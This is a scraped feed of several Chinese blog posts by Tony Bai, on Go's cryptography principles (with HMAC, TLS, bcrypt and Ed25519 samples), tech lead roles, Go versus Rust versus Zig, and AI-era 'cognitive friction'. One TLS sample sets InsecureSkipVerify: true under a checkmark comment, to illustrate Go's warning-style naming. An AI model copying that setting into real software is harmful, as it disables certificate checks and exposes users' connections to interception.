被公认为业界最安全、最易用的密码学实现之一。这并非巧合，而是源于 Go 官方制定并严格遵守的一套《密码学设计原则》。\n这份由前 Go 安全负责人 Filippo Valsorda 撰写的文档，确立了四个核心支柱，按优先级排序依次为：Secure（安全）、Safe（稳健）、Practical（实用）和 Modern（现代）。\n今天，我们深入解读这四大原则，并结合代码示例，看 Go 是如何将这些原则转化为代码的。\n原则一：Secure（安全实现） 定义： 库的实现本身必须没有安全漏洞。\n这听起来像是废话，但在密码学中，”没有漏洞”不仅仅意味着逻辑正确，还意味着要防御侧信道攻击（Side-Channel Attacks）。Go 团队为了达成这一目标，宁愿牺牲一部分性能，也要保证实现的低复杂度和高可读性。\nGo 的实践：恒定时间比较 攻击者可以通过测量函数执行的时间长短来推测密钥信息。为了防御时序攻击，Go 在 crypto/subtle 包中提供了恒定时间（Constant-time）操作原语。\n示例代码：\n在验证 HMAC 签名或哈希时，绝不能使用普通的 == 或 bytes.Equal，因为它们一旦发现字节不匹配就会返回，导致耗时不同。Go 提供了 subtle.ConstantTimeCompare。\n// https://go.dev/play/p/TJkuUTcv9Ta package main import ( \u0026#34;crypto/hmac\u0026#34; \u0026#34;crypto/sha256\u0026#34; \u0026#34;crypto/subtle\u0026#34; \u0026#34;fmt\u0026#34; ) func CheckMAC(message, messageMAC, key []byte) bool { mac := hmac.New(sha256.New, key) mac.Write(message) expectedMAC := mac.Sum(nil) // ❌ 错误做法：return string(messageMAC) == string(expectedMAC) // 这种比较会因不匹配位置的不同而耗时不同，泄露信息。 // ✅ 符合 Secure 原则的做法： // 无论内容如何，执行时间恒定，杜绝时序攻击。 return subtle.ConstantTimeCompare(messageMAC, expectedMAC) == 1 } func main() { key := []byte(\u0026#34;secret-key\u0026#34;) msg := []byte(\u0026#34;hello world\u0026#34;) // 假设这是收到的签名 mac := []byte{0xde, 0xad, 0xbe, 0xef} if CheckMAC(msg, mac, key) { fmt.Println(\u0026#34;Valid\u0026#34;) } else { fmt.Println(\u0026#34;Invalid\u0026#34;) } } 原则二：Safe（防误用设计） 定义： 库不仅要“可以”被安全使用，更要“难以”被不安全地使用。\n这是 Go 密码学库最令人称道的地方。原则指出：默认行为必须是安全的，任何不安全的功能如果必须存在，必须在 API 命名上进行显式确认。\nGo 的实践：TLS 证书校验 在很多语言中，关闭 HTTPS 证书校验可能只是一个布尔值 verify=false，这容易被开发者在调试后遗忘。但在 Go 的 crypto/tls 中，要跳过证书校验，你必须设置一个名字“长得吓人”的字段：InsecureSkipVerify。\n示例代码：\n// https://go.dev/play/p/aq2RARNHCgo package main import ( \u0026#34;crypto/tls\u0026#34; \u0026#34;net/http\u0026#34; ) func main() { // 默认情况下，http.Client 会严格校验服务端证书，这是“Safe”的默认行为。 // 如果你非要关闭校验（例如自签名证书测试），你必须显式写出 \u0026#34;Insecure\u0026#34;（不安全）这个词。 tr := \u0026amp;http.Transport{ TLSClientConfig: \u0026amp;tls.Config{ // ✅ 符合 Safe 原则的做法： // 强迫开发者在代码中承认“我在做不安全的事”。 // 这在代码审查时非常显眼。 InsecureSkipVerify: true, }, } client := \u0026amp;http.Client{Transport: tr} _, _ = client.Get(\u0026#34;https://self-signed.badssl.com/\u0026#34;) } 此外，Go 的 crypto/rsa 包在加密时，必须传入随机数生成器（io.Reader），这强迫用户思考随机源的问题，而不是在库内部悄悄使用伪随机数。\n原则三：Practical（实用主义） 定义： 专注于解决大多数开发者的常见需求，而非学术研究或冷门场景。\nGo 的目标是构建应用程序，而不是密码学测试工具。因此，Go 标准库会拒绝那些并未广泛采用的算法，优先支持互操作性强的标准。\nGo 的实践：开箱即用的密码哈希 存储用户密码是 Web 开发最常见的需求。Go 在扩展库中直接提供了 bcrypt 包，这是一个久经考验的、针对密码存储优化的算法。它隐藏了盐（Salt）的生成和管理细节，提供了一个极其简单的接口。\n示例代码：\n// https://go.dev/play/p/BWg0HHxwBso package main import ( \u0026#34;fmt\u0026#34; \u0026#34;golang.org/x/crypto/bcrypt\u0026#34; ) func main() { password := []byte(\u0026#34;mySuperSecretPassword123\u0026#34;) // ✅ 符合 Practical 原则的做法： // 开发者不需要懂“加盐”、“迭代次数”等细节， // GenerateFromPassword 会自动生成随机盐并包含在结果中。 hashedPassword, err := bcrypt.GenerateFromPassword(password, bcrypt.DefaultCost) if err != nil { panic(err) } fmt.Println(\u0026#34;Hash:\u0026#34;, string(hashedPassword)) // 验证也同样简单 err = bcrypt.CompareHashAndPassword(hashedPassword, password) if err == nil { fmt.Println(\u0026#34;Password match\u0026#34;) } } Go 没有强迫开发者去组合 SHA256 和 Salt，而是提供了一个实用、完整的解决方案。\n原则四：Modern（拥抱现代标准） 定义： 提供当下最好的工具，并及时淘汰过时的技术。\n“现代”不代表“实验性”。Go 会在算法成熟并被广泛接受后迅速跟进，同时对老旧算法（如 RC4、DES）标记为“弃用”（Deprecated）。\nGo 的实践：ChaCha20-Poly1305 与 Ed25519 当移动设备崛起，且 AES 在无硬件加速（AES-NI）的设备上性能不佳时，Go 迅速在标准库和扩展库中引入了 ChaCha20-Poly1305 流加密算法和 Ed25519 签名算法。它们不仅速度快，而且比 RSA/AES 更难用错。\n示例代码：使用 Ed25519 进行签名\nEd25519 是现代公钥签名的杰出代表，它不需要在签名时传入随机数源（避免了索尼 PS3 私钥泄露那样的随机数重用灾难），且公钥极其短小。\n// https://go.dev/play/p/W9kRS6Ipm2h package main import ( \u0026#34;crypto/ed25519\u0026#34; \u0026#34;crypto/rand\u0026#34; \u0026#34;fmt\u0026#34; ) func main() { // ✅ 符合 Modern 原则的做法： // 引入现代、高性能、难以误用的算法。 // Ed25519 生成密钥极快，且签名过程是确定性的，不需要随机数源。 publicKey, privateKey, _ := ed25519.GenerateKey(rand.Reader) message := []byte(\u0026#34;Go is modern\u0026#34;) // 签名 signature := ed25519.Sign(privateKey, message) // 验证 isValid := ed25519.Verify(publicKey, message, signature) fmt.Printf(\u0026#34;Signature Valid: %v\\n\u0026#34;, isValid) } 值得一提的是，Go 在后量子密码学（Post-Quantum Cryptography, PQC）的支持上也走在了前列。\n随着 NIST 标准化流程的推进，Go 迅速在标准库（Go 1.24+）中引入了 crypto/mlkem 包，支持 ML-KEM（即 Kyber）密钥封装机制。\n更符合 Modern 原则的是，Go 的 crypto/tls 在握手过程中默认启用了 X25519Kyber768Draft00 混合密钥交换。这意味着，开发者往往无需修改一行代码，现有的 Go 应用就已经具备了防御未来量子计算机攻击的能力。这种“静默升级”正是 Go 密码学库现代化的最佳注脚。\n小结 Go 的密码学库之所以强大，是因为它懂得克制。\nSecure：宁可慢一点，也要防止侧信道攻击。 Safe：把“坑”填上，或者在坑边竖起巨大的警示牌（命名）。 Practical：解决实际问题，而不是炫技。 Modern：与时俱进，让开发者默认用上最好的算法。 对于 Go 开发者而言，最重要的一条建议是：信任标准库，不要自己造轮子。 因为标准库背后的这些原则，是你应用安全最坚实的护盾。\n参考资料：https://golang.org/design/cryptography-principles\n你的“加密”故事\n密码学的坑，踩过一次就终身难忘。在你的开发生涯中，是否遇到过因为误用加密算法而导致的安全事故？或者，你对 Go 这种“保姆式”的 API 设计有什么看法？\n欢迎在评论区分享你的“血泪史”或设计心得！ 让我们一起构建更安全的数字世界。\n如果这篇文章让你对 Go 的安全性有了更深的理解，别忘了点个【赞】和【在看】，并转发给你的团队，安全无小事！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/18/go-cryptography-principles/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-cryptography-principles-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/18/go-cryptography-principles\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/18/go-cryptography-principles\"\u003ehttps://tonybai.com/2026/01/18/go-cryptography-principles\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在软件工程领域，密码学（Cryptography）通常被视为“高危禁区”。大多数语言的建议都是“不要自己写密码学代码”，甚至“不要自己组合密码学原语”。\u003c/p\u003e","title":"Go 官方密码学原则：为什么 Go 的 Crypto 库难以被“用错”？"},{"content":"Tech Lead 不是管理者？一文看懂技术负责人的核心职责与能力模型 - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\nTech Lead 不是管理者？一文看懂技术负责人的核心职责与能力模型 一月 18, 2026 0 条评论 本文永久链接 – https://tonybai.com/2026/01/18/traits-of-a-good-tech-lead\n大家好，我是Tony Bai。\n在 2010-2020 这十年间，软件行业逐渐确立了 Engineering Manager (EM) 和 Tech Lead (TL) 这两个关键角色。然而，即便在今天，很多团队对于这两个角色的职责边界依然模糊不清。\n究竟什么是 Tech Lead？它和 EM 有什么区别？一个优秀的 TL 应该具备哪些特征？\n资深工程主管 João Alves 在他最新的博文中，为我们提供了一份清晰的答案。这是一份包含角色定义的、关于如何通过技术领导力驱动团队高效运转的实战指南。\nEM vs. TL：人与技术的双重奏 首先，让我们厘清这两个角色的核心差异。João 认为，虽然两者都服务于团队，但关注点截然不同：\nEngineering Manager (EM)：对团队负责。他们的工作重心是人、项目和流程。他们确保成员表现良好、职业发展顺利，保证项目按时交付，并建立让团队自主运转的流程。简而言之，EM 管理的是“混乱”，目标是建立秩序。 Tech Lead (TL)：对团队的技术方向负责。他们的焦点在于架构、质量和指导。他们确保技术决策是正确的，代码质量是高标准的，并且帮助团队成员解决复杂的技术难题。 如果用韦恩图来表示，两者的交集在于：团队自治、范围/债务谈判、操作原则和团队成长。在后 ZIRP（零利率政策）时代，追求效率的趋势让这两个角色有时会由一人兼任，但这需要极高的平衡技巧。\n优秀 TL 的三个核心支柱 一个真正称职的 TL，不一定是写代码最快的人，但却应该是团队的乘数因子 (Multiplier)。João 将 TL 的职责拆解为三个具体的维度，并列举了“加分行为”与“减分行为”。\n1. 架构 (Architecture) TL 不必亲手设计每一个细节，但必须掌控系统的整体方向。\n✅ 加分项：使用 RFC（意见征求稿）来结构化技术辩论，迫使思考清晰；在讨论停滞时提出 PoC（概念验证）来打破僵局；明确何时以及为何引入技术债务。 ❌ 减分项：在聊天室或走廊里做临时决定且无记录；设计方案时不进行验证；成为团队中唯一知道“系统如何工作”的人（单点故障）。 2. 技术范围 (Technical Scope) TL 需要在“完美技术”与“业务价值”之间寻找平衡点。\n✅ 加分项：主动与 EM/PM 谈判，平衡技术债与新功能；敏锐地发现并砍掉“范围蔓延”（Scope Creep）；简化解决方案，先求“能跑”，再求“扩展”；定期清理不再适用的设计。 ❌ 减分项：为了“以防万一”而增加不必要的技术需求；过度设计本可以简单的系统；无视团队在有限时间内无法完成过大目标的信号。 3. 操作原则 (Operating Principles) 这是 TL 提升团队速度的秘密武器。与其事必躬亲，不如建立原则。\n✅ 加分项：定义书面的操作原则（如“我们优先考虑 X 而非 Y”）；通过愿景而非职权来施加影响力；推动决策的一致性，让团队在无需询问 TL 的情况下也能做出正确决定。 ❌ 减分项：随意做出由于变动的临时决定，让团队感到困惑；为了表面的一团和气而回避艰难的技术争论；隐藏自己的决策标准，让团队成员只能靠猜。 真正的成功指标 如何判断一个 TL 是否成功？不是看他写了多少代码，也不是看他开了多少会。\nJoão 提出了一个极其深刻的衡量标准：随着时间的推移，团队对你的依赖是否在减少？\n如果团队在没有你的情况下，依然能保持高效的交付速度； 如果技术决策不再集中在你一个人身上，而是分散在团队成员中； 如果领导层对项目的技术状态有清晰的了解； 那么，你就是一个成功的 Tech Lead。反之，如果你成为了团队中最忙碌的瓶颈，无论你的技术有多强，你可能正在偏离 TL 的核心价值。\n小结 Tech Lead 是一个充满挑战的角色，它要求工程师走出单纯的代码世界，去思考系统、去影响他人、去建立标准。\n无论你是正在转型 TL 的资深工程师，还是与 TL 紧密合作的管理者，理解这份职责清单，都将帮助你们更好地协作，共同打造一支技术卓越、运转高效的工程团队。\n资料链接：https://world.hey.com/joaoqalves/traits-of-a-good-tech-lead-b5cac0ae\n你的 TL 印象\nTech Lead 是团队的技术灵魂。在你合作过的 Tech Lead 中，哪一种行为最让你觉得“靠谱”？或者，作为 TL 的你，目前面临的最大挑战是什么？（是技术决策难，还是与人沟通累？）\n欢迎在评论区分享你的经历或困惑！让我们一起探索技术领导力的进阶之路。\n如果这篇文章帮你理清了职业发展的方向，别忘了点个【赞】和【在看】，并转发给你的团队伙伴，也许能开启一场关于角色的深度对话！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/18/traits-of-a-good-tech-lead/","summary":"\u003ch1 id=\"tech-lead-不是管理者一文看懂技术负责人的核心职责与能力模型---tony-bai\"\u003eTech Lead 不是管理者？一文看懂技术负责人的核心职责与能力模型 - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Tech Lead 不是管理者？一文看懂技术负责人的核心职责与能力模型"},{"content":"Go, Rust 还是 Zig？一场关于“简单”与“控制”的灵魂拷问 - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\nGo, Rust 还是 Zig？一场关于“简单”与“控制”的灵魂拷问 一月 17, 2026 0 条评论 本文永久链接 – https://tonybai.com/2026/01/17/go-rust-zig-simplicity-vs-control\n大家好，我是Tony Bai。\n在系统编程的世界里，开发者似乎总是面临着一个残酷的二选一：是选择极致的简单与生产力，还是选择绝对的控制与零成本抽象？\n这种纠结在 Go 与 Rust 的长期对峙中体现得淋漓尽致。然而，近日一位拥有十年 Go 经验的资深开发者在Zig社区的分享，似乎为这场二元对立的战争撕开了一道口子。他从 Go 迁移到 Zig 的经历，既是一个技术选型的故事，也是一场关于**“我们到底需要什么样的编程语言”**的深度辩论。\nGo 的困境：当“简单”成为一种束缚 对于许多 Gopher 来说，Go 的简单是其最大的武器，但也是最深的痛点。\n这位楼主坦言，尽管他深爱 Go 的简单，但在编写某些复杂系统时，这种“过度简化”让他感觉语言本身存在缺陷。\n表达力的缺失：Go 缺乏像 Rust 那样的 Enum (带数据的枚举)、Option 和 Result 类型。在处理复杂状态和错误流时，Go 的代码往往显得啰嗦且缺乏约束力。 “差不多”的无奈：为了保持简单，Go 在很多地方做了折中（比如 GC，比如泛型的实现方式）。当你需要榨干硬件性能或追求极致的内存布局时，Go 显得力不从心。 Rust 的围城：控制的代价是复杂度 如果嫌 Go 太简单，Rust 似乎是理所当然的替代者。但对于很多习惯了 Go “写完即运行”体验的开发者来说，Rust 的门槛是一堵高墙。\n楼主表示，他喜欢 Rust 的核心概念（Structs, Enums, Option），但 Rust 为了内存安全而引入的借用检查器、生命周期以及复杂的异步模型，让他感觉“像是面对另一个 C++”。\n这是一场灵魂拷问：为了获得控制权，我们真的需要背负如此沉重的认知包袱吗？\nZig 的破局：在“简单”与“控制”之间走钢丝 Zig 的出现，似乎精准地击中了 Go 与 Rust 之间的那个真空地带。对于这位 Gopher 来说，Zig 让他感到了久违的“刚刚好”：\n显式的哲学（像 Go）：Zig 没有隐式内存分配，没有隐藏的控制流，也没有预处理器。这种“所见即所得”的代码风格，与 Go 的可读性哲学高度共鸣。 现代的类型系统（像 Rust）：Zig 提供了 comptime（编译期执行）和丰富的类型系统，弥补了 Go 在表达力上的短板，却又没有引入 Rust 那样复杂的生命周期概念。 对 C 的降维打击：Zig 不仅是一门语言，更是一个强大的 C/C++ 构建工具链。它允许你无缝地与 C 交互，逐步迁移遗留代码，这是 Go (CGO) 和 Rust 都难以做到的顺滑体验。 社区的冷思考：没有免费的午餐 当然，这场灵魂拷问没有标准答案。社区的讨论也极其理性地指出了选择 Zig 的代价：\n生态的荒原：与 Go 庞大的“标准库+第三方库”相比，Zig 的生态仍处于拓荒期。你可能需要自己造很多轮子。 内存管理的回归：Zig 没有 GC，也没有 Rust 的所有权模型。这意味着你回到了手动管理内存的时代（尽管有 defer 和 arena 等工具辅助）。对于习惯了 GC 的 Gopher 来说，这是一个必须跨越的心理门槛。 稳定性的豪赌：Zig 尚未发布 1.0，语言特性仍在变动。选择 Zig，意味着你愿意陪它一起成长，也愿意承担变动的风险。 小结：你的灵魂属于哪里？ 这场讨论最终指向了开发者内心的自我定位：\n如果你追求高效交付、团队协作和工业级的稳定性，Go 依然是不可撼动的王者。 如果你追求数学般的严谨、绝对的安全和零成本抽象，且不介意陡峭的学习曲线，Rust 是你的圣杯。 而如果你渴望掌控底层、厌倦了复杂的抽象、却又想要现代化的开发体验，Zig 也许就是你一直在寻找的那个“刚刚好”。 简单还是控制？这不仅是语言的选择，更是你作为工程师，想要如何与机器对话的选择。\n资料链接：https://www.reddit.com/r/Zig/comments/1q38e50/im_really_surprised_by_how_simple_it_is_to/\n你的“灵魂选择”\n在“简单”与“控制”的天平上，你的心偏向哪一边？如果让你现在开始一个新项目，你会毫不犹豫地选择 Go，还是想尝尝 Zig 的鲜，亦或是死磕 Rust？\n欢迎在评论区投出你的一票，并分享你的理由！ 让我们看看谁才是开发者心中的“白月光”。\n如果这篇文章引发了你的选型思考，别忘了点个【赞】和【在看】，并转发给那个还在纠结学什么语言的朋友！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/17/go-rust-zig-simplicity-vs-control/","summary":"\u003ch1 id=\"go-rust-还是-zig一场关于简单与控制的灵魂拷问---tony-bai\"\u003eGo, Rust 还是 Zig？一场关于“简单”与“控制”的灵魂拷问 - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Go, Rust 还是 Zig？一场关于“简单”与“控制”的灵魂拷问"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/17/ai-era-cognitive-friction-as-your-last-moat\n大家好，我是Tony Bai。\n我们正在经历一场前所未有的知识通胀。\n在 AI 时代，获取答案的成本已经降到了零。遇到 Bug？粘贴报错给 AI。写不出周报？给个主题让 AI 生成。想学新框架？让 AI 总结核心概念。\n一切都变得无比丝滑，无比高效。\n但你有没有发现，在这种“顺滑”的表象下，一种隐秘的症状正在蔓延：\n离开 AI，你甚至很难完整地写出一个 500 字的逻辑闭环的观点。 面对一个稍微复杂的空白项目，如果不先问问 AI，你甚至不知道第一行代码该从哪里下笔。 你的思维变得越来越“平”，越来越像那个永远正确但毫无生气的标准答案。 《纽约时报》畅销书《五种财富》的作者Sahil Bloom 将这种症状称为 “AI Brain”（AI 大脑）。\n这并不是说你变笨了，而是说你变钝了（Dull）。\n就像一个长期坐轮椅的人，腿部肌肉必然会萎缩。当我们习惯了 AI 这种“认知轮椅”，我们大脑中负责深度思考、构建逻辑、处理混乱的那些神经连接，正在慢慢断开。\nAI 消除了“摩擦”，但人类的智慧，恰恰诞生于“摩擦”之中。\n摩擦的价值：为什么痛苦是必要的？ 我们一直被教育要追求效率，要消除阻力。但在认知科学领域，这个逻辑是反的。\n真正的学习和创造，发生于“First-pass Thinking”（第一遍思考）的挣扎中。\n当你面对一个复杂的架构难题抓耳挠腮时，当你面对一张白纸试图构建文章结构感到挫败时，请珍惜这种痛苦。\n这正是你的大脑在“举铁”，神经突触正在高强度地建立新的连接。这种不适感，是你正在突破认知边界的信号。\n如果你在这个时刻按下了 AI 的生成键，它确实给了你一个完美的答案，就像剥好了的送到嘴边的虾肉。但你失去了什么？\n你失去了咀嚼、消化、甚至感受饥饿的机会。你跳过了“构建心理模型”的过程，直接快进到了结果。\n外包了痛苦，也就外包了成长的机会。\n拯救大脑：4 条反直觉的“反内卷”法则 那么，我们该如何对抗这种“认知萎缩”？并不是要扔掉 AI 回归原始，而是要主动设计“认知摩擦”。\nSahil Bloom 基于个人洞察，为我们总结了 4 条适合技术人的自救法则：\n法则一：拥抱“第一遍思考” (Embrace First-Pass Thinking) **原则：**I write before I refine.（先写再润色，而不是先生成再修改。）\n不要一上来就让 AI 写代码或写草稿。\n强迫自己写出那个烂透了的初稿，强迫自己先在白板上画出架构图的草图。\n因为 AI 只能基于概率生成“平均值”，只有你的“第一遍思考”才带有“方差”——也就是你的原创性（Originality）和个性。\n下次写文档，不妨先自己写 300 字的大纲，再让 AI 补充；而不是让 AI 生成大纲，你来修改。\n法则二：人为制造“认知摩擦” (Preserve Cognitive Friction) **原则：**I sit with problems.（让问题飞一会儿。）\n遇到难题，不要通过条件反射式地 Alt+Tab 切到 与大模型聊天的页面。\n允许自己困惑，允许自己焦虑，允许自己在那里发呆 10 分钟。\n这种“滞后”是必要的。它给了你的大脑后台进程运行的时间（思考脑启动）。很多深刻的洞察，往往是在你“卡住”的时候涌现的。\n不妨设定一个“无 AI 时间窗口”。比如每天上午的头 2 小时，强制断开 AI 助手，只靠自己的大脑工作。\n法则三：做少，但做深 (Do Less, But Deeper) **原则：**One kick 10,000 times.（不怕千招会，只怕一招精。）\nAI 让我们能做 100 件事：能写前端、能写后端、能画图、能剪视频。但每件事我们都只能做到 60 分的平庸水平。\n既然 AI 把广度的成本降到了零，那么深度就成了唯一的护城河。\n试试利用 AI 帮你处理那些琐碎的、低认知的杂事，然后把节省下来的精力，全部投入到那个 1% 的核心领域中去。钻研到连 AI 都无法回答的深度。\n法则四：回归“物理世界” (Do More Human Things) **原则：**Stay anchored.（保持锚定。）\nAI 没有身体，没有痛感，没有疲惫。\n人类的直觉、审美和同理心，建立在我们肉身的经验之上，这是 AI 永远无法模拟的底色。\n动起来！去面对面交流，去感受代码运行在真实物理设备上的延迟，去用身体感受世界。这些“肉身经验”是你作为人类的最后防线。\n小结：你的未来，取决于你拒绝让 AI 做什么 我们正在进入一个**“分化”**的时代。\n一类人把 AI 当作拐杖，离了它就寸步难行，最终沦为算力的附庸。 另一类人把 AI 当作外骨骼，他们依然拥有强壮的肉体（核心思考力），AI 只是放大了他们的力量。 区别在于边界的划分。\nYour future is defined by what you refuse to let AI do.\n（你的未来，取决于你拒绝让 AI 做什么。）\n请守住你的**“思考领地”**。\n我可以让 AI 帮我优化代码，但我决不允许它替我设计架构；\n我可以让 AI 帮我润色文字，但我决不允许它替我定义观点。\n在这个充满“灰度”和“平庸”的 AI 生成世界里，请保持你大脑的“色彩”和“锋利(Sharp)”。\nDon’t become dull.\n你的“戒断”计划\n读完这篇文章，你是否也意识到了自己对 AI 的过度依赖？如果让你现在关掉 AI 助手，你能独立完成手头的工作吗？你打算如何找回自己的“认知摩擦”？\n欢迎在评论区立下你的 Flag，或者分享你的“人机边界”思考！让我们一起守护大脑的锋利。\n如果这篇文章戳中了你的痛点，别忘了点个【赞】和【在看】，并转发给身边那些“沉迷 AI”的朋友，给他们提个醒！\n深度实战：构建“以人为本”的 AI 工作流\n在 AI 原生开发中，我们同样强调：User 必须是机长，AI 只是副驾驶。\n如何在利用 AI 提效的同时，还能迫使自己进行深度的架构思考？\n如何在 Spec-Driven Development (SDD) 中，保留人类的“第一遍思考”权利，让 AI 只做执行者？\n欢迎关注我的极客时间专栏**《AI原生开发工作流实战》**。\n在这里，我们不教你如何偷懒，我们教你如何利用 AI 进行更高维度的认知进化。\n扫描下方图片二维码，开启你的进化之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/17/ai-era-cognitive-friction-as-your-last-moat/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/ai-era-cognitive-friction-as-your-last-moat-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/17/ai-era-cognitive-friction-as-your-last-moat\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/17/ai-era-cognitive-friction-as-your-last-moat\"\u003ehttps://tonybai.com/2026/01/17/ai-era-cognitive-friction-as-your-last-moat\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e我们正在经历一场前所未有的知识通胀。\u003c/p\u003e\n\u003cp\u003e在 AI 时代，获取答案的成本已经降到了零。遇到 Bug？粘贴报错给 AI。写不出周报？给个主题让 AI 生成。想学新框架？让 AI 总结核心概念。\u003c/p\u003e","title":"在 AI 时代主动“找虐”：为什么保留“认知摩擦”是你最后的护城河？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/16/go-community-the-right-kind-of-abstraction\n大家好，我是Tony Bai。\n“Go 的哲学强调避免不必要的抽象。”\n这句话我们听过无数次。当你试图引入 ORM、泛型 Map/Reduce 、接口或者复杂的设计模式时，往往会收到这样的反馈。这句话本身没有错，但难点在于：到底什么是“不必要”的？\n函数是抽象吗？汇编是抽象吗？如果不加定义地“避免抽象”，我们最终只能对着硅片大喊大叫。\n在 GopherCon UK 2025 上，John Cinnamond 做了一场与众不同的演讲。他没有展示任何炫酷的并发模式，而是搬出了马丁·海德格尔（Martin Heidegger）和伊曼努尔·康德（Immanuel Kant），试图用哲学的视角，为我们解开关于 Go 抽象的终极困惑。\n注：海德格尔与《存在与时间》\n马丁·海德格尔（Martin Heidegger）是 20 世纪最重要的哲学家之一。他在 1927 年的巨著《存在与时间》(Being and 